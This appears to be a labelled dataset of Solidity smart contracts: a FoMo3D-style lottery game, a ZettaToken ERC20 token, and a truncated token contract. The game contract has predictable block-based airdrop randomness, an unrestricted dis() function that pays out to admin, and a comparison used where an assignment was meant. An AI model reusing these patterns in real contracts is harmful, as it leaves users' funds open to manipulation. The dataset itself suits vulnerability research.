plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function dis()
external
{
admin.transfer(1000000000000000000);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 434 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract ZettaToken is StandardToken, BurnableToken, Ownable {
string public constant symbol = "ZTA";
string public constant name = "Zetta Coin";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals));
uint256 public constant TOKEN_OFFERING_ALLOWANCE = 4000000000 * (10 ** uint256(decimals));
uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE;
address public adminAddr;
address public tokenOfferingAddr;
bool public transferEnabled = true;
modifier onlyWhenTransferAllowed() {
require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr);
_;
}
modifier onlyTokenOfferingAddrNotSet() {
require(tokenOfferingAddr == address(0x0));
_;
}
modifier validDestination(address to) {
require(to != address(0x0));
require(to != address(this));
require(to != owner);
require(to != address(adminAddr));
require(to != address(tokenOfferingAddr));
_;
}
function ZettaToken(address admin) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
Transfer(address(0x0), msg.sender, totalSupply_);
adminAddr = admin;
approve(adminAddr, ADMIN_ALLOWANCE);
}
function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet {
require(!transferEnabled);
uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale;
require(amount <= TOKEN_OFFERING_ALLOWANCE);
approve(offeringAddr, amount);
tokenOfferingAddr = offeringAddr;
}
function enableTransfer() external onlyOwner {
transferEnabled = true;
approve(tokenOfferingAddr, 0);
}
function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) {
return super.transferFrom(from, to, value);
}
function burn(uint256 value) public {
require(transferEnabled || msg.sender == owner);
super.burn(value);
}
} | 1 | 2,122 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
